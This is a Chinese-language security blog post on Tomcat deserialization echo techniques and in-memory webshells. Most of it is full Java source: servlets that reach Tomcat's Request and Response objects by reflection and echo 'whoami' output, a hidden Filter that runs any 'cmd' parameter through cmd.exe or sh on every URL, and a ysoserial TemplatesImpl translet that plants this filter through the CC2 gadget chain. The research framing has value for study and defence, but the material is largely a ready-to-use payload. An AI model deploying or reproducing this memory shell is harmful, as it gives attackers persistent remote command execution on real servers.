Java安全之反序列化回顯與內存馬
0x00 前言
按照我個人的理解來說其實只要能拿到Request 和 Response對象即可進行回顯的構造，當然這也是眾多方式的一種。也是目前用的較多的方式。比如在Tomcat 全局存儲的Request 和 Response對象，進行獲取后則可以在tomcat這個容器下進行回顯。而某些漏洞的方式會從漏洞的位置去尋找存儲Request 和 Response對象的地方。
0x01 Tomcat通用回顯
根據Litch1師傅的思路來尋找request,response對象全局存儲的位置基於全局儲存的新思路 | Tomcat的一種通用回顯方法研究
根據該文章思路得知，在Tomcat啟動的時候會調用該位置的dorun方法
由圖可見，調用棧會來到創建Http11Processor對象這一步，Http11Processor繼承AbstractProcessor類。而AbstractProcessor類中可見有Request，Response這兩對象。並且為final修飾的，賦值后不可被更改。
那么此時我們只需要獲取到這個Http11Processor對象即可獲取到Request，Response。繼續跟進查看Http11Processor對象在哪進行存儲。
調用this.register將前面創建的Http11Processor對象進行傳遞。而后調用processor.getRequest().getRequestProcessor()獲取RequestInfo。
調用獲取到的RequestInfo,這里為rp。rp的setGlobalProcessor將global進行傳遞，而setGlobalProcessor方法里面會調用global.addRequestProcessor將rp添加進去。
跟進進去發現，processors為一個ArrayList，里面存儲RequestInfo類型的數據。
所以整體的思路下來我們需要獲取AbstractProtocol$ConnectionHandler類 -> 獲取global變量 ->RequestInfo->Request-->Response。
再往后需要尋找存儲AbstractProtocol類或繼承AbstractProtocol類的子類。
這里尋找到的是Connector成員變量中為protocolHandler屬性的值，而 Http11AprProtocol類實現了該接口。
所以獲取request的處理請求是
Connector--->AbstractProtocol$ConnectoinHandler--->global--->RequestInfo--->Request--->Response
而在Tomcat啟動過程紅會將Connector放入Service中。
而現在獲取完成的流程是
StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)-->RequestInfo------->Request-------->Response
那么這時候如何獲取StandardService成為了問題的一大關鍵。
文中給出的方法是從Thread.currentThread.getContextClassLoader()里面獲取webappClassLoaderBase，再獲取上下文中的 StandardService。
最后調用鏈為
WebappClassLoaderBase --->
ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response
package com;
import org.apache.catalina.Context;
import org.apache.catalina.Service;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService)service.get(ApplicationContext);
Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[])connectors.get(standardService);
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
// AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);
Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
for (Class<?> aClass : AbstractProtocol_list) {
if (aClass.getName().length()==52){
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);
Field globalField = aClass.getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);
org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
response2.getWriter().write("111");
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
這里是借助了獲取到的Request和Response來輸出結果。再來修改一下代碼。
package com;
import org.apache.catalina.Context;
import org.apache.catalina.Service;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService)service.get(ApplicationContext);
Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[])connectors.get(standardService);
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
// AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);
Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
for (Class<?> aClass : AbstractProtocol_list) {
if (aClass.getName().length()==52){
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);
Field globalField = aClass.getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);
org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
response2.getWriter().write("111");
InputStream whoami = Runtime.getRuntime().exec("whoami").getInputStream();
// BufferedInputStream bufferedInputStream = new BufferedInputStream(whoami);
BufferedInputStream bis = new BufferedInputStream(whoami);
int b ;
while ((b = bis.read())!=-1){
response2.getWriter().write(b);
}
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
將命令執行結果使用獲取到的Request和Response來輸出。
坑點記錄
- 開始想直接獲取內部類發現思路不通，后來采用
getDeclaredClasses方法獲取某類中所有內部的內部類遍歷，判斷類名傳遞定位到該類。 - 獲取
global遍歷的時候出現了巨坑，直接反射去獲取。但是未意識到創建是一個class對象，反射使用get方法必須傳遞實例。 - 獲取到
Request需要調用request.getNote(1);轉換為org.apache.catalina.connector.Request的對象。 - fanal修飾變量，需做修改，直接獲取報錯。
通過調用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 來獲取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 對象
0x02 Tomcat半通用回顯
基於Tomcat中一種半通用回顯方法該篇文來調試一下。
根據前文思路順着堆棧一路向下查看Request和Response存儲位置，只要獲取到一個實例即可。
順着思路，在org.apache.catalina.core.ApplicationFilterChain位置發現符合條件的變量。
下面尋找賦值位置，發現在這個位置對request，response進行實例的存儲。但是默認為False
思路如下：
1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT，讓代碼邏輯走到if條件里面
2、初始化lastServicedRequest和lastServicedResponse兩個變量，默認為null
3、從lastServicedResponse中獲取當前請求response，並且回顯內容。
自己嘗試構造了一下
package com;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
@WebServlet("/testServlet")
public class testServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
wrap_same_object.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);
wrap_same_object.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal<>());
lastServicedResponse.set(null,new ThreadLocal<>());
ServletResponse servletResponse = responseThreadLocal.get();
servletResponse.getWriter().write("111");
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
同理，可集成到yso中，反序列化命令執行結果借助該servletResponse。
局限
在shiro反序列化漏洞的利用中並不能成功，發現request，response的設置是在漏洞觸發點之后，所以在觸發漏洞執行任意java代碼時獲取不到我們想要的response。其原因是因為rememberMe功能的實現是使用了自己實現的filter。
0x03 內存馬構造
前文的基於Tomcat實現內存馬中只是借助Servlet直接去進行動態添加Filter實現內存馬。而實際當中還是需要借助反序列化點來直接打入內存馬。
下面再來構造一個完整的。
獲取到ApplicationContext調用addFilter方法直接將惡意Filter添加進去發現並不行。
ApplicationContext.addFilter(filterName,new ShellIntInject());
斷點處進行了判斷，條件為true，會直接拋出異常。而這時候可以借助反射去進行修改。
Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
修改完成后，再來看到addFilter中，this.context.findFilterDef也就是尋找StandardContext中的filterDef，所以我們需要添加到filterConfigs 、filterDefs 、filterMaps 。
在添加filter前，通過反射設置成LifecycleState.STARTING_PREP，添加完成后，再把其恢復成LifecycleState.STARTE，需要恢復，否則可能導致服務不可用。
//添加攔截路徑，實現是將存儲寫入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});
后面再來看到StandardContext 中filterStart方法會遍歷所有filterDefs實例化ApplicationFilterConfig添加到filterConfigs中
this.filterConfigs.clear();
Iterator i$ = this.filterDefs.entrySet().iterator();
while(i$.hasNext()) {
Entry<String, FilterDef> entry = (Entry)i$.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
ok = false;
}
}
return ok;
}
}
前面我們的調用addfilter方法的時候已經將 對應的filterDef給添加進去，我們只需要調用該方法即可實現filterConfig的添加。
//調用filterStart方法將filterconfig進行添加
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext,null);
最后，需要將filter位置進行調整。
在調試中途，部分代碼拋出異常並沒有直接執行state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);會導致tomcat直接503。無法進行正常訪問，需重啟。
完整代碼
package com;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
@WebServlet("/testServlet")
public class testServlet extends HttpServlet {
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "cmdFilter";
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
wrap_same_object.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);
wrap_same_object.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal<>());
lastServicedResponse.set(null,new ThreadLocal<>());
ServletResponse servletResponse = responseThreadLocal.get();
ServletRequest servletRequest = requestThreadLocal.get();
ServletContext servletContext = servletRequest.getServletContext(); //這里實際獲取到的是ApplicationContextFacade
if (servletContext!=null) {
//編寫惡意Filter
class ShellIntInject implements javax.servlet.Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("s");
String cmd = servletRequest.getParameter(cmdParamName);
if(cmd!=null) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
filterChain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
//獲取ApplicationContext
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);
//獲取standardContext
Field context1 = ApplicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);
//獲取LifecycleBase的state修改為org.apache.catalina.LifecycleState.STARTING_PREP
Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
//注冊filterName
FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());
//添加攔截路徑，實現是將存儲寫入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});
//調用filterStart方法將filterconfig進行添加
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext,null);
//移動filter為位置到前面
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
servletResponse.getWriter().write("Success");
state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
但這並未完，雖然我們借助了代碼執行獲取到Request和Response后構造內存馬。但是仍需要修改代碼，將代碼集成到yso中后，以供反序列化攻擊使用。
0x04 改造yso
將前面代碼扣下來，並且繼承AbstractTranslet,后面需要使用TemplatesImpl類去動態加載該類。
package ysoserial.exploit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
public class TomcatShellIntInject extends AbstractTranslet {
private final static String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "cmdFilter";
static {
try {
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
wrap_same_object.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
wrap_same_object.setBoolean(null, true);
lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
ServletResponse servletResponse = responseThreadLocal.get();
ServletRequest servletRequest = requestThreadLocal.get();
ServletContext servletContext = servletRequest.getServletContext(); //這里實際獲取到的是ApplicationContextFacade
if (servletContext != null) {
//編寫惡意Filter
class ShellIntInject implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter(cmdParamName);
if (cmd != null) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
//獲取ApplicationContext
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext) context.get(servletContext);
//獲取standardContext
Field context1 = ApplicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);
//獲取LifecycleBase的state修改為org.apache.catalina.LifecycleState.STARTING_PREP
Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//注冊filterName
FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());
//添加攔截路徑，實現是將存儲寫入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});
//調用filterStart方法將filterconfig進行添加
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext, null);
//移動filter為位置到前面
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
servletResponse.getWriter().write("Success");
state.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
yso中createTemplatesImpl稍做修改
public static Object createTemplatesImpl_shell ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl_shell ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
final byte[] classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);
// final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
這里拿cc2鏈來測試，復制cc2鏈代碼。將getObject方法修改
final Object templates = Gadgets.createTemplatesImpl_shell(command);
github:https://github.com/nice0e3/ysoserial-master
但實際並不能直接使用，因為需要該回顯要先修改屬性，然后再進行獲取回顯。可截取出來分為2個包去發送。
0x05 Reference
基於全局儲存的新思路 | Tomcat的一種通用回顯方法研究
0x06 結尾
說到底，其實中間件回顯就是獲取Request 和 Response對象，拿到以后借助拿到的Request 和 Response對象進行回顯，而內存馬則是使用獲取到的這兩對象從而獲取到Context進行動態添加Filter。而文中並沒有去實現冰蠍等內存shell，而只實現了一個cmd的shell。同理，只需將惡意Fliter修改成冰蠍的shell即可。